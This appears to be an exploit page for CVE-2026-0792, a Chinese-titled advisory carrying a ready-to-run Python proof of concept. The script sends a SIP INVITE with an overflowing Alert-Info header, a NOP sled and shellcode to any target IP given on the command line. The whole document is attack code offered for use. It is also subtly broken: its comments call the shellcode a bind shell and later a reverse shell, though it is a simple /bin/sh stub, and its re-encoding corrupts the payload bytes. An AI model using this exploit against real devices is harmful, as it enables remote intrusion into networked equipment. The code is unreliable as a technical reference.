CVE-2026-0792 ALGO 8180 SIP INVITE Alert-Info栈缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2026-0792 PoC - ALGO 8180 IP Audio Alerter SIP INVITE Alert-Info Stack-based Buffer Overflow RCE """ import socket import struct def create_sip_invite_with_overflow(target_ip, target_port=5060): """ Generate malicious SIP INVITE request with oversized Alert-Info header to trigger stack-based buffer overflow on ALGO 8180 devices. """ # Overflow payload - 500 bytes to overflow the fixed-length buffer overflow_length = 500 overflow_payload = b'A' * overflow_length # Add NOP sled and shellcode for code execution nop_sled = b'\x90' * 50 # Simple bind shell shellcode (port 4444) - should be customized shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' # Construct the full payload exploit_payload = overflow_payload[:100] + nop_sled + shellcode # SIP INVITE Request sip_request = f"INVITE sip:target@{target_ip}:{target_port} SIP/2.0\r\n" sip_request += f"Via: SIP/2.0/UDP {target_ip}:{target_port}\r\n" sip_request += f"Max-Forwards: 70\r\n" sip_request += f"From: <sip:attacker@{target_ip}>\r\n" sip_request += f"To: <sip:target@{target_ip}>\r\n" sip_request += f"Call-ID: {overflow_payload[:32].hex()}@victim.local\r\n" sip_request += f"CSeq: 1 INVITE\r\n" sip_request += f"Contact: <sip:attacker@{target_ip}>\r\n" sip_request += f"Content-Type: application/sdp\r\n" sip_request += f"Alert-Info: {exploit_payload.decode('latin-1', errors='ignore')}\r\n" sip_request += f"Content-Length: 0\r\n\r\n" return sip_request.encode('utf-8') def exploit(target_ip, target_port=5060): """ Send the exploit payload to trigger the buffer overflow """ print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Generating malicious SIP INVITE request...") payload = create_sip_invite_with_overflow(target_ip, target_port) print(f"[*] Sending exploit payload ({len(payload)} bytes)...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(payload, (target_ip, target_port)) print(f"[+] Exploit payload sent successfully") print(f"[*] If vulnerable, check for reverse shell on port 4444") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5060 exploit(target, port)